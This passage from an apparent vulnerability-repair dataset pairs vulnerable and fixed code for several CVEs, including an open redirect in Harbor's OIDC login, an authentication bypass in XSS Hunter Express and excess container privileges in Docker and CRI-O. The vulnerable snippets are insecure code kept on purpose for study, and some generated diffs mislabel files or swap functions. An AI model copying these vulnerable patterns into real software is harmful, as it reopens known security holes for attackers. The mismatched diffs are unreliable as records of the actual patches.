self.message = (as_unicode(self.database_error_message), \"danger\")\n            log.exception(\"Database error\")\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False"}, {"id": "fix_py_421_3", "commit": "ae25ad4c87a9051ebe4a4e8f02aee73232642626", "file_path": "flask_appbuilder/models/sqla/interface.py", "start_line": 764, "end_line": 784, "snippet": "    def delete(self, item: Model, raise_exception: bool = False) -> bool:\n        try:\n            self._delete_files(item)\n            self.session.delete(item)\n            self.session.commit()\n            self.message = (as_unicode(self.delete_row_message), \"success\")\n            return True\n        except IntegrityError as e:\n            self.message = (as_unicode(self.delete_integrity_error_message), \"warning\")\n            log.warning(LOGMSG_WAR_DBI_DEL_INTEGRITY.format(str(e)))\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False\n        except Exception as e:\n            self.message = (as_unicode(self.database_error_message), \"danger\")\n            log.exception(\"Database error\")\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False"}, {"id": "fix_py_421_4", "commit": "ae25ad4c87a9051ebe4a4e8f02aee73232642626", "file_path": "flask_appbuilder/models/sqla/interface.py", "start_line": 786, "end_line": 803, "snippet": "    def delete_all(self, items: List[Model]) -> bool:\n        try:\n            for item in items:\n                self._delete_files(item)\n                self.session.delete(item)\n            self.session.commit()\n            self.message = (as_unicode(self.delete_row_message), \"success\")\n            return True\n        except IntegrityError as e:\n            self.message = (as_unicode(self.delete_integrity_error_message), \"warning\")\n            log.warning(LOGMSG_WAR_DBI_DEL_INTEGRITY.format(str(e)))\n            self.session.rollback()\n            return False\n        except Exception as e:\n            self.message = (as_unicode(self.database_error_message), \"danger\")\n            log.exception(LOGMSG_ERR_DBI_DEL_GENERIC.format(str(e)))\n            self.session.rollback()\n            return False"}], "vul_patch": "--- a/flask_appbuilder/models/sqla/interface.py\n+++ b/flask_appbuilder/models/sqla/interface.py\n@@ -12,11 +12,8 @@\n                 raise e\n             return False\n         except Exception as e:\n-            self.message = (\n-                as_unicode(self.general_error_message + \" \" + str(sys.exc_info()[0])),\n-                \"danger\",\n-            )\n-            log.exception(LOGMSG_ERR_DBI_ADD_GENERIC.format(str(e)))\n+            self.message = (as_unicode(self.database_error_message), \"danger\")\n+            log.exception(\"Database error\")\n             self.session.rollback()\n             if raise_exception:\n                 raise e\n\n--- a/flask_appbuilder/models/sqla/interface.py\n+++ b/flask_appbuilder/models/sqla/interface.py\n@@ -12,11 +12,8 @@\n                 raise e\n             return False\n         except Exception as e:\n-            self.message = (\n-                as_unicode(self.general_error_message + \" \" + str(sys.exc_info()[0])),\n-                \"danger\",\n-            )\n-            log.exception(LOGMSG_ERR_DBI_EDIT_GENERIC.format(str(e)))\n+            self.message = (as_unicode(self.database_error_message), \"danger\")\n+            log.exception(\"Database error\")\n             self.session.rollback()\n             if raise_exception:\n                 raise e\n\n--- a/flask_appbuilder/models/sqla/interface.py\n+++ b/flask_appbuilder/models/sqla/interface.py\n@@ -1,8 +1,7 @@\n-    def delete_all(self, items: List[Model]) -> bool:\n+    def delete(self, item: Model, raise_exception: bool = False) -> bool:\n         try:\n-            for item in items:\n-                self._delete_files(item)\n-                self.session.delete(item)\n+            self._delete_files(item)\n+            self.session.delete(item)\n             self.session.commit()\n             self.message = (as_unicode(self.delete_row_message), \"success\")\n             return True\n@@ -10,12 +9,13 @@\n             self.message = (as_unicode(self.delete_integrity_error_message), \"warning\")\n             log.warning(LOGMSG_WAR_DBI_DEL_INTEGRITY.format(str(e)))\n             self.session.rollback()\n+            if raise_exception:\n+                raise e\n             return False\n         except Exception as e:\n-            self.message = (\n-                as_unicode(self.general_error_message + \" \" + str(sys.exc_info()[0])),\n-                \"danger\",\n-            )\n-            log.exception(LOGMSG_ERR_DBI_DEL_GENERIC.format(str(e)))\n+            self.message = (as_unicode(self.database_error_message), \"danger\")\n+            log.exception(\"Database error\")\n             self.session.rollback()\n+            if raise_exception:\n+                raise e\n             return False\n\n--- a/flask_appbuilder/models/sqla/interface.py\n+++ b/flask_appbuilder/models/sqla/interface.py\n@@ -1,7 +1,8 @@\n-    def delete(self, item: Model, raise_exception: bool = False) -> bool:\n+    def delete_all(self, items: List[Model]) -> bool:\n         try:\n-            self._delete_files(item)\n-            self.session.delete(item)\n+            for item in items:\n+                self._delete_files(item)\n+                self.session.delete(item)\n             self.session.commit()\n             self.message = (as_unicode(self.delete_row_message), \"success\")\n             return True\n@@ -9,16 +10,9 @@\n             self.message = (as_unicode(self.delete_integrity_error_message), \"warning\")\n             log.warning(LOGMSG_WAR_DBI_DEL_INTEGRITY.format(str(e)))\n             self.session.rollback()\n-            if raise_exception:\n-                raise e\n             return False\n         except Exception as e:\n-            self.message = (\n-                as_unicode(self.general_error_message + \" \" + str(sys.exc_info()[0])),\n-                \"danger\",\n-            )\n+            self.message = (as_unicode(self.database_error_message), \"danger\")\n             log.exception(LOGMSG_ERR_DBI_DEL_GENERIC.format(str(e)))\n             self.session.rollback()\n-            if raise_exception:\n-                raise e\n             return False\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-22244", "cve_description": "Open Redirect in Harbor\u00a0 <=v2.8.4, <=v2.9.2, and <=v2.10.0 may redirect a user to a malicious site.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/goharbor/harbor", "patch_url": ["https://github.com/goharbor/harbor/commit/9115b9f34f3db77682238d928996318c98f8bf94", "https://github.com/goharbor/harbor/commit/86cd022ddfd6f7e1a9f02f9832a64eeda1f68298", "https://github.com/goharbor/harbor/commit/cc328163a6abbd0725c9e87cc6e99d0204f206ac"], "programing_language": "Go", "vul_func": [{"id": "vul_go_124_1", "commit": "3356196", "file_path": "src/core/controllers/oidc.go", "start_line": 59, "end_line": 79, "snippet": "func (oc *OIDCController) RedirectLogin() {\n\tstate := utils.GenerateRandomString()\n\turl, err := oidc.AuthCodeURL(oc.Context(), state)\n\tif err != nil {\n\t\toc.SendInternalServerError(err)\n\t\treturn\n\t}\n\tif err := oc.SetSession(redirectURLKey, oc.Ctx.Request.URL.Query().Get(\"redirect_url\")); err != nil {\n\t\tlog.Errorf(\"failed to set session for key: %s, error: %v\", redirectURLKey, err)\n\t\toc.SendInternalServerError(err)\n\t\treturn\n\t}\n\tif err := oc.SetSession(stateKey, state); err != nil {\n\t\tlog.Errorf(\"failed to set session for key: %s, error: %v\", stateKey, err)\n\t\toc.SendInternalServerError(err)\n\t\treturn\n\t}\n\tlog.Debugf(\"State dumped to session: %s\", state)\n\t// Force to use the func 'Redirect' of beego.Controller\n\toc.Controller.Redirect(url, http.StatusFound)\n}"}], "fix_func": [{"id": "fix_go_124_1", "commit": "9115b9f", "file_path": "src/common/utils/utils.go", "start_line": 347, "end_line": 349, "snippet": "func IsLocalPath(path string) bool {\n\treturn strings.HasPrefix(path, \"/\") && !strings.HasPrefix(path, \"//\")\n}"}, {"id": "fix_go_124_2", "commit": "9115b9f", "file_path": "src/core/controllers/oidc.go", "start_line": 59, "end_line": 85, "snippet": "func (oc *OIDCController) RedirectLogin() {\n\tstate := utils.GenerateRandomString()\n\turl, err := oidc.AuthCodeURL(oc.Context(), state)\n\tif err != nil {\n\t\toc.SendInternalServerError(err)\n\t\treturn\n\t}\n\tredirectURL := oc.Ctx.Request.URL.Query().Get(\"redirect_url\")\n\tif !utils.IsLocalPath(redirectURL) {\n\t\tlog.Errorf(\"invalid redirect url: %v\", redirectURL)\n\t\toc.SendBadRequestError(fmt.Errorf(\"cannot redirect to other site\"))\n\t\treturn\n\t}\n\tif err := oc.SetSession(redirectURLKey, redirectURL); err != nil {\n\t\tlog.Errorf(\"failed to set session for key: %s, error: %v\", redirectURLKey, err)\n\t\toc.SendInternalServerError(err)\n\t\treturn\n\t}\n\tif err := oc.SetSession(stateKey, state); err != nil {\n\t\tlog.Errorf(\"failed to set session for key: %s, error: %v\", stateKey, err)\n\t\toc.SendInternalServerError(err)\n\t\treturn\n\t}\n\tlog.Debugf(\"State dumped to session: %s\", state)\n\t// Force to use the func 'Redirect' of beego.Controller\n\toc.Controller.Redirect(url, http.StatusFound)\n}"}], "vul_patch": "--- a/src/core/controllers/oidc.go\n+++ b/src/common/utils/utils.go\n@@ -1,21 +1,3 @@\n-func (oc *OIDCController) RedirectLogin() {\n-\tstate := utils.GenerateRandomString()\n-\turl, err := oidc.AuthCodeURL(oc.Context(), state)\n-\tif err != nil {\n-\t\toc.SendInternalServerError(err)\n-\t\treturn\n-\t}\n-\tif err := oc.SetSession(redirectURLKey, oc.Ctx.Request.URL.Query().Get(\"redirect_url\")); err != nil {\n-\t\tlog.Errorf(\"failed to set session for key: %s, error: %v\", redirectURLKey, err)\n-\t\toc.SendInternalServerError(err)\n-\t\treturn\n-\t}\n-\tif err := oc.SetSession(stateKey, state); err != nil {\n-\t\tlog.Errorf(\"failed to set session for key: %s, error: %v\", stateKey, err)\n-\t\toc.SendInternalServerError(err)\n-\t\treturn\n-\t}\n-\tlog.Debugf(\"State dumped to session: %s\", state)\n-\t// Force to use the func 'Redirect' of beego.Controller\n-\toc.Controller.Redirect(url, http.StatusFound)\n+func IsLocalPath(path string) bool {\n+\treturn strings.HasPrefix(path, \"/\") && !strings.HasPrefix(path, \"//\")\n }\n\n--- /dev/null\n+++ b/src/common/utils/utils.go\n@@ -0,0 +1,27 @@\n+func (oc *OIDCController) RedirectLogin() {\n+\tstate := utils.GenerateRandomString()\n+\turl, err := oidc.AuthCodeURL(oc.Context(), state)\n+\tif err != nil {\n+\t\toc.SendInternalServerError(err)\n+\t\treturn\n+\t}\n+\tredirectURL := oc.Ctx.Request.URL.Query().Get(\"redirect_url\")\n+\tif !utils.IsLocalPath(redirectURL) {\n+\t\tlog.Errorf(\"invalid redirect url: %v\", redirectURL)\n+\t\toc.SendBadRequestError(fmt.Errorf(\"cannot redirect to other site\"))\n+\t\treturn\n+\t}\n+\tif err := oc.SetSession(redirectURLKey, redirectURL); err != nil {\n+\t\tlog.Errorf(\"failed to set session for key: %s, error: %v\", redirectURLKey, err)\n+\t\toc.SendInternalServerError(err)\n+\t\treturn\n+\t}\n+\tif err := oc.SetSession(stateKey, state); err != nil {\n+\t\tlog.Errorf(\"failed to set session for key: %s, error: %v\", stateKey, err)\n+\t\toc.SendInternalServerError(err)\n+\t\treturn\n+\t}\n+\tlog.Debugf(\"State dumped to session: %s\", state)\n+\t// Force to use the func 'Redirect' of beego.Controller\n+\toc.Controller.Redirect(url, http.StatusFound)\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-3630", "cve_description": "Docker Engine before 1.6.1 uses weak permissions for (1) /proc/asound, (2) /proc/timer_stats, (3) /proc/latency_stats, and (4) /proc/fs, which allows local users to modify the host, obtain sensitive information, and perform protocol downgrade attacks via a crafted image.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/moby/moby", "patch_url": ["https://github.com/moby/moby/commit/545b440a80f676a506e5837678dd4c4f65e78660"], "programing_language": "Go", "vul_func": [{"id": "vul_go_96_1", "commit": "3162024", "file_path": "daemon/execdriver/native/template/default_template.go", "start_line": 13, "end_line": 100, "snippet": "func New() *configs.Config {\n\tcontainer := &configs.Config{\n\t\tCapabilities: []string{\n\t\t\t\"CHOWN\",\n\t\t\t\"DAC_OVERRIDE\",\n\t\t\t\"FSETID\",\n\t\t\t\"FOWNER\",\n\t\t\t\"MKNOD\",\n\t\t\t\"NET_RAW\",\n\t\t\t\"SETGID\",\n\t\t\t\"SETUID\",\n\t\t\t\"SETFCAP\",\n\t\t\t\"SETPCAP\",\n\t\t\t\"NET_BIND_SERVICE\",\n\t\t\t\"SYS_CHROOT\",\n\t\t\t\"KILL\",\n\t\t\t\"AUDIT_WRITE\",\n\t\t},\n\t\tNamespaces: configs.Namespaces([]configs.Namespace{\n\t\t\t{Type: \"NEWNS\"},\n\t\t\t{Type: \"NEWUTS\"},\n\t\t\t{Type: \"NEWIPC\"},\n\t\t\t{Type: \"NEWPID\"},\n\t\t\t{Type: \"NEWNET\"},\n\t\t}),\n\t\tCgroups: &configs.Cgroup{\n\t\t\tParent:          \"docker\",\n\t\t\tAllowAllDevices: false,\n\t\t},\n\t\tMounts: []*configs.Mount{\n\t\t\t{\n\t\t\t\tSource:      \"proc\",\n\t\t\t\tDestination: \"/proc\",\n\t\t\t\tDevice:      \"proc\",\n\t\t\t\tFlags:       defaultMountFlags,\n\t\t\t},\n\t\t\t{\n\t\t\t\tSource:      \"tmpfs\",\n\t\t\t\tDestination: \"/dev\",\n\t\t\t\tDevice:      \"tmpfs\",\n\t\t\t\tFlags:       syscall.MS_NOSUID | syscall.MS_STRICTATIME,\n\t\t\t\tData:        \"mode=755\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tSource:      \"devpts\",\n\t\t\t\tDestination: \"/dev/pts\",\n\t\t\t\tDevice:      \"devpts\",\n\t\t\t\tFlags:       syscall.MS_NOSUID | syscall.MS_NOEXEC,\n\t\t\t\tData:        \"newinstance,ptmxmode=0666,mode=0620,gid=5\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tDevice:      \"tmpfs\",\n\t\t\t\tSource:      \"shm\",\n\t\t\t\tDestination: \"/dev/shm\",\n\t\t\t\tData:        \"mode=1777,size=65536k\",\n\t\t\t\tFlags:       defaultMountFlags,\n\t\t\t},\n\t\t\t{\n\t\t\t\tSource:      \"mqueue\",\n\t\t\t\tDestination: \"/dev/mqueue\",\n\t\t\t\tDevice:      \"mqueue\",\n\t\t\t\tFlags:       defaultMountFlags,\n\t\t\t},\n\t\t\t{\n\t\t\t\tSource:      \"sysfs\",\n\t\t\t\tDestination: \"/sys\",\n\t\t\t\tDevice:      \"sysfs\",\n\t\t\t\tFlags:       defaultMountFlags | syscall.MS_RDONLY,\n\t\t\t},\n\t\t},\n\t\tMaskPaths: []string{\n\t\t\t\"/proc/kcore\",\n\t\t},\n\t\tReadonlyPaths: []string{\n\t\t\t\"/proc/asound\",\n\t\t\t\"/proc/bus\",\n\t\t\t\"/proc/irq\",\n\t\t\t\"/proc/sys\",\n\t\t\t\"/proc/sysrq-trigger\",\n\t\t},\n\t}\n\n\tif apparmor.IsEnabled() {\n\t\tcontainer.AppArmorProfile = \"docker-default\"\n\t}\n\n\treturn container\n}"}], "fix_func": [{"id": "fix_go_96_1", "commit": "545b440", "file_path": "daemon/execdriver/native/template/default_template.go", "start_line": 13, "end_line": 101, "snippet": "func New() *configs.Config {\n\tcontainer := &configs.Config{\n\t\tCapabilities: []string{\n\t\t\t\"CHOWN\",\n\t\t\t\"DAC_OVERRIDE\",\n\t\t\t\"FSETID\",\n\t\t\t\"FOWNER\",\n\t\t\t\"MKNOD\",\n\t\t\t\"NET_RAW\",\n\t\t\t\"SETGID\",\n\t\t\t\"SETUID\",\n\t\t\t\"SETFCAP\",\n\t\t\t\"SETPCAP\",\n\t\t\t\"NET_BIND_SERVICE\",\n\t\t\t\"SYS_CHROOT\",\n\t\t\t\"KILL\",\n\t\t\t\"AUDIT_WRITE\",\n\t\t},\n\t\tNamespaces: configs.Namespaces([]configs.Namespace{\n\t\t\t{Type: \"NEWNS\"},\n\t\t\t{Type: \"NEWUTS\"},\n\t\t\t{Type: \"NEWIPC\"},\n\t\t\t{Type: \"NEWPID\"},\n\t\t\t{Type: \"NEWNET\"},\n\t\t}),\n\t\tCgroups: &configs.Cgroup{\n\t\t\tParent:          \"docker\",\n\t\t\tAllowAllDevices: false,\n\t\t},\n\t\tMounts: []*configs.Mount{\n\t\t\t{\n\t\t\t\tSource:      \"proc\",\n\t\t\t\tDestination: \"/proc\",\n\t\t\t\tDevice:      \"proc\",\n\t\t\t\tFlags:       defaultMountFlags,\n\t\t\t},\n\t\t\t{\n\t\t\t\tSource:      \"tmpfs\",\n\t\t\t\tDestination: \"/dev\",\n\t\t\t\tDevice:      \"tmpfs\",\n\t\t\t\tFlags:       syscall.MS_NOSUID | syscall.MS_STRICTATIME,\n\t\t\t\tData:        \"mode=755\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tSource:      \"devpts\",\n\t\t\t\tDestination: \"/dev/pts\",\n\t\t\t\tDevice:      \"devpts\",\n\t\t\t\tFlags:       syscall.MS_NOSUID | syscall.MS_NOEXEC,\n\t\t\t\tData:        \"newinstance,ptmxmode=0666,mode=0620,gid=5\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tDevice:      \"tmpfs\",\n\t\t\t\tSource:      \"shm\",\n\t\t\t\tDestination: \"/dev/shm\",\n\t\t\t\tData:        \"mode=1777,size=65536k\",\n\t\t\t\tFlags:       defaultMountFlags,\n\t\t\t},\n\t\t\t{\n\t\t\t\tSource:      \"mqueue\",\n\t\t\t\tDestination: \"/dev/mqueue\",\n\t\t\t\tDevice:      \"mqueue\",\n\t\t\t\tFlags:       defaultMountFlags,\n\t\t\t},\n\t\t\t{\n\t\t\t\tSource:      \"sysfs\",\n\t\t\t\tDestination: \"/sys\",\n\t\t\t\tDevice:      \"sysfs\",\n\t\t\t\tFlags:       defaultMountFlags | syscall.MS_RDONLY,\n\t\t\t},\n\t\t},\n\t\tMaskPaths: []string{\n\t\t\t\"/proc/kcore\",\n\t\t},\n\t\tReadonlyPaths: []string{\n\t\t\t\"/proc/asound\",\n\t\t\t\"/proc/bus\",\n\t\t\t\"/proc/fs\",\n\t\t\t\"/proc/irq\",\n\t\t\t\"/proc/sys\",\n\t\t\t\"/proc/sysrq-trigger\",\n\t\t},\n\t}\n\n\tif apparmor.IsEnabled() {\n\t\tcontainer.AppArmorProfile = \"docker-default\"\n\t}\n\n\treturn container\n}"}], "vul_patch": "--- a/daemon/execdriver/native/template/default_template.go\n+++ b/daemon/execdriver/native/template/default_template.go\n@@ -74,6 +74,7 @@\n \t\tReadonlyPaths: []string{\n \t\t\t\"/proc/asound\",\n \t\t\t\"/proc/bus\",\n+\t\t\t\"/proc/fs\",\n \t\t\t\"/proc/irq\",\n \t\t\t\"/proc/sys\",\n \t\t\t\"/proc/sysrq-trigger\",\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-41317", "cve_description": "XSS Hunter Express before 2021-09-17 does not properly enforce authentication requirements for paths.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/mandatoryprogrammer/xsshunter-express", "patch_url": ["https://github.com/mandatoryprogrammer/xsshunter-express/commit/56bb44ed9024849f64173f71583ecb7d873baba0"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_282_1", "commit": "2f35dd9a84cb51c46c1e3676d5f2432903098422", "file_path": "api.js", "start_line": 90, "end_line": 117, "snippet": "    app.use(async function(req, res, next) {\n        const AUTHENTICATION_REQUIRED_ROUTES = [\n            constants.API_BASE_PATH + 'payloadfires',\n            constants.API_BASE_PATH + 'collected_pages',\n            constants.API_BASE_PATH + 'settings',\n        ];\n\n        // If the route is not one of the authentication required routes\n        // then we can allow it through.\n        if(!AUTHENTICATION_REQUIRED_ROUTES.includes(req.path)) {\n            next();\n            return;\n        }\n\n    \t// If the user is authenticated, let them pass\n    \tif(req.session.authenticated === true) {\n    \t\tnext();\n    \t\treturn;\n    \t}\n\n    \t// Otherwise, fall to blocking them by default.\n\t    res.status(401).json({\n\t        \"success\": false,\n\t        \"error\": \"You must be authenticated to use this endpoint.\",\n\t        \"code\": \"NOT_AUTHENTICATED\"\n\t    }).end();\n\t\treturn\n    });"}], "fix_func": [{"id": "fix_js_282_1", "commit": "56bb44ed9024849f64173f71583ecb7d873baba0", "file_path": "api.js", "start_line": 90, "end_line": 125, "snippet": "    app.use(async function(req, res, next) {\n        const AUTHENTICATION_REQUIRED_ROUTES = [\n            constants.API_BASE_PATH + 'payloadfires',\n            constants.API_BASE_PATH + 'collected_pages',\n            constants.API_BASE_PATH + 'settings',\n        ];\n\n        // Check if the path being accessed required authentication\n        var requires_authentication = false;\n        AUTHENTICATION_REQUIRED_ROUTES.map(authenticated_route => {\n            if(req.path.toLowerCase().startsWith(authenticated_route)) {\n                requires_authentication = true;\n            }\n        });\n\n        // If the route is not one of the authentication required routes\n        // then we can allow it through.\n        if(!requires_authentication) {\n            next();\n            return;\n        }\n\n    \t// If the user is authenticated, let them pass\n    \tif(req.session.authenticated === true) {\n    \t\tnext();\n    \t\treturn;\n    \t}\n\n    \t// Otherwise, fall to blocking them by default.\n\t    res.status(401).json({\n\t        \"success\": false,\n\t        \"error\": \"You must be authenticated to use this endpoint.\",\n\t        \"code\": \"NOT_AUTHENTICATED\"\n\t    }).end();\n\t\treturn\n    });"}], "vul_patch": "--- a/api.js\n+++ b/api.js\n@@ -5,9 +5,17 @@\n             constants.API_BASE_PATH + 'settings',\n         ];\n \n+        // Check if the path being accessed required authentication\n+        var requires_authentication = false;\n+        AUTHENTICATION_REQUIRED_ROUTES.map(authenticated_route => {\n+            if(req.path.toLowerCase().startsWith(authenticated_route)) {\n+                requires_authentication = true;\n+            }\n+        });\n+\n         // If the route is not one of the authentication required routes\n         // then we can allow it through.\n-        if(!AUTHENTICATION_REQUIRED_ROUTES.includes(req.path)) {\n+        if(!requires_authentication) {\n             next();\n             return;\n         }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-1000400", "cve_description": "Kubernetes CRI-O version prior to 1.9 contains a Privilege Context Switching Error (CWE-270) vulnerability in the handling of ambient capabilities that can result in containers running with elevated privileges, allowing users abilities they should not have. This attack appears to be exploitable via container execution. This vulnerability appears to have been fixed in 1.9.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/kubernetes-sigs/cri-o", "patch_url": ["https://github.com/kubernetes-sigs/cri-o/commit/e0d3814d97f76ac76b85433a86210d660efb8974"], "programing_language": "Go", "vul_func": [{"id": "vul_go_106_1", "commit": "2316123", "file_path": "server/container_create.go", "start_line": 494, "end_line": 595, "snippet": "func setupCapabilities(specgen *generate.Generator, capabilities *pb.Capability) error {\n\tif capabilities == nil {\n\t\treturn nil\n\t}\n\n\ttoCAPPrefixed := func(cap string) string {\n\t\tif !strings.HasPrefix(strings.ToLower(cap), \"cap_\") {\n\t\t\treturn \"CAP_\" + strings.ToUpper(cap)\n\t\t}\n\t\treturn cap\n\t}\n\n\t// Add/drop all capabilities if \"all\" is specified, so that\n\t// following individual add/drop could still work. E.g.\n\t// AddCapabilities: []string{\"ALL\"}, DropCapabilities: []string{\"CHOWN\"}\n\t// will be all capabilities without `CAP_CHOWN`.\n\t// see https://github.com/kubernetes/kubernetes/issues/51980\n\tif inStringSlice(capabilities.GetAddCapabilities(), \"ALL\") {\n\t\tfor _, c := range getOCICapabilitiesList() {\n\t\t\tif err := specgen.AddProcessCapabilityAmbient(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.AddProcessCapabilityBounding(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.AddProcessCapabilityEffective(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.AddProcessCapabilityInheritable(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.AddProcessCapabilityPermitted(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\tif inStringSlice(capabilities.GetDropCapabilities(), \"ALL\") {\n\t\tfor _, c := range getOCICapabilitiesList() {\n\t\t\tif err := specgen.DropProcessCapabilityAmbient(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.DropProcessCapabilityBounding(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.DropProcessCapabilityEffective(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.DropProcessCapabilityInheritable(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.DropProcessCapabilityPermitted(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, cap := range capabilities.GetAddCapabilities() {\n\t\tif strings.ToUpper(cap) == \"ALL\" {\n\t\t\tcontinue\n\t\t}\n\t\tcapPrefixed := toCAPPrefixed(cap)\n\t\tif err := specgen.AddProcessCapabilityAmbient(capPrefixed); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := specgen.AddProcessCapabilityBounding(capPrefixed); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := specgen.AddProcessCapabilityEffective(capPrefixed); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := specgen.AddProcessCapabilityInheritable(capPrefixed); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := specgen.AddProcessCapabilityPermitted(capPrefixed); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tfor _, cap := range capabilities.GetDropCapabilities() {\n\t\tif strings.ToUpper(cap) == \"ALL\" {\n\t\t\tcontinue\n\t\t}\n\t\tcapPrefixed := toCAPPrefixed(cap)\n\t\tif err := specgen.DropProcessCapabilityAmbient(capPrefixed); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n\t\t}\n\t\tif err := specgen.DropProcessCapabilityBounding(capPrefixed); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n\t\t}\n\t\tif err := specgen.DropProcessCapabilityEffective(capPrefixed); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n\t\t}\n\t\tif err := specgen.DropProcessCapabilityInheritable(capPrefixed); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n\t\t}\n\t\tif err := specgen.DropProcessCapabilityPermitted(capPrefixed); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to drop cap %s %v\", capPrefixed, err)\n\t\t}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_106_1", "commit": "e0d3814", "file_path": "server/container_create.go", "start_line": 494, "end_line": 588, "snippet": "func setupCapabilities(specgen *generate.Generator, capabilities *pb.Capability) error {\n\t// Remove all ambient capabilities. Kubernetes is not yet ambient capabilities aware\n\t// and pods expect that switching to a non-root user results in the capabilities being\n\t// dropped. This should be revisited in the future.\n\tspecgen.Spec().Process.Capabilities.Ambient = []string{}\n\n\tif capabilities == nil {\n\t\treturn nil\n\t}\n\n\ttoCAPPrefixed := func(cap string) string {\n\t\tif !strings.HasPrefix(strings.ToLower(cap), \"cap_\") {\n\t\t\treturn \"CAP_\" + strings.ToUpper(cap)\n\t\t}\n\t\treturn cap\n\t}\n\n\t// Add/drop all capabilities if \"all\" is specified, so that\n\t// following individual add/drop could still work. E.g.\n\t// AddCapabilities: []string{\"ALL\"}, DropCapabilities: []string{\"CHOWN\"}\n\t// will be all capabilities without `CAP_CHOWN`.\n\t// see https://github.com/kubernetes/kubernetes/issues/51980\n\tif inStringSlice(capabilities.GetAddCapabilities(), \"ALL\") {\n\t\tfor _, c := range getOCICapabilitiesList() {\n\t\t\tif err := specgen.AddProcessCapabilityBounding(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.AddProcessCapabilityEffective(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.AddProcessCapabilityInheritable(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.AddProcessCapabilityPermitted(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\tif inStringSlice(capabilities.GetDropCapabilities(), \"ALL\") {\n\t\tfor _, c := range getOCICapabilitiesList() {\n\t\t\tif err := specgen.DropProcessCapabilityBounding(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.DropProcessCapabilityEffective(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.DropProcessCapabilityInheritable(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := specgen.DropProcessCapabilityPermitted(c); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, cap := range capabilities.GetAddCapabilities() {\n\t\tif strings.ToUpper(cap) == \"ALL\" {\n\t\t\tcontinue\n\t\t}\n\t\tcapPrefixed := toCAPPrefixed(cap)\n\t\tif err := specgen.AddProcessCapabilityBounding(capPrefixed); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := specgen.AddProcessCapabilityEffective(capPrefixed); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := specgen.AddProcessCapabilityInheritable(capPrefixed); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := specgen.AddProcessCapabilityPermitted(capPrefixed); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tfor _, cap := range capabilities.GetDropCapabilities() {\n\t\tif strings.ToUpper(cap) == \"ALL\" {\n\t\t\tcontinue\n\t\t}\n\t\tcapPrefixed := toCAPPrefixed(cap)\n\t\tif err := specgen.DropProcessCapabilityBounding(capPrefixed); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to drop 